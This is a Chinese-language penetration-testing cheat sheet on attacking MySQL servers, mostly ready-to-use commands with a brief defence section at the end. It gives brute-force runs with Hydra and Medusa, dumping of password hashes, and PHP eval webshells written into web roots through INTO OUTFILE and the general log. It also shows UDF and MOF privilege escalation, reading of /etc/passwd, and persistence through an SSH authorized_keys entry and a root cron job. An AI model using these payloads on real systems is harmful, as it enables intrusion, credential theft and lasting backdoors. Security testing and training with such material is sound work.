3306 - MySQL 渗透
漏洞概述
MySQL 是最流行的开源数据库,常见漏洞包括弱口令、未授权访问、UDF 提权、文件写入等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 3306 <TARGET_IP>
# MySQL 枚举脚本
nmap --script mysql-*,mysql-info <TARGET_IP>
版本识别
# Nmap 脚本
nmap --script mysql-info <TARGET_IP>
# 直接连接
mysql -h <TARGET_IP> -u root -p
漏洞利用
方法 1: 弱口令爆破
# Hydra 爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://<TARGET_IP>
# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M mysql
# Nmap 脚本爆破
nmap --script mysql-brute <TARGET_IP>
方法 2: 未授权访问
# 直接连接(无密码)
mysql -h <TARGET_IP> -u root
# 如果成功,查看数据库
show databases;
use mysql;
select user, host, authentication_string from user;
方法 3: 文件写入 Webshell
-- 检查文件写入权限
show variables like 'secure_file_priv';
-- 如果为空或指定目录,可以写入
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php';
-- Windows 路径
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/shell.php';
方法 4: 日志文件写入
-- 开启日志
set global general_log = on;
set global general_log_file = '/var/www/html/shell.php';
-- 写入 webshell
SELECT "<?php @eval($_POST['cmd']);?>";
提权路径
UDF 提权
-- 检查 UDF 支持
show variables like 'plugin_dir';
-- 上传 UDF 文件
SELECT load_file('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- 创建函数
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';
-- 执行命令
SELECT sys_exec('whoami');
MOF 提权 (Windows)
-- 上传恶意 MOF 文件
SELECT load_file('C:/Windows/System32/mof/nullevt.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/system/nullevt.mof';
启动项提权
-- 写入启动项
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/shell.php';
数据库渗透
敏感信息收集
-- 查看所有数据库
show databases;
-- 查看用户表
use mysql;
select user, host, authentication_string from user;
-- 查看权限
show grants for 'root'@'localhost';
读取文件
-- 读取敏感文件
SELECT load_file('/etc/passwd');
SELECT load_file('C:/Windows/System32/drivers/etc/hosts');
写入文件
-- 写入 SSH 公钥
SELECT 'ssh-rsa AAAA...' INTO OUTFILE '/root/.ssh/authorized_keys';
-- 写入定时任务
SELECT '* * * * * /tmp/back.sh' INTO OUTFILE '/var/spool/cron/root';
防御建议
-
强口令策略
-
限制文件权限
[mysqld]
secure_file_priv = /var/lib/mysql-files
local_infile = 0
-
最小权限原则
CREATE USER 'app'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON database.* TO 'app'@'localhost';
-
启用日志审计
-
定期更新 MySQL
参考链接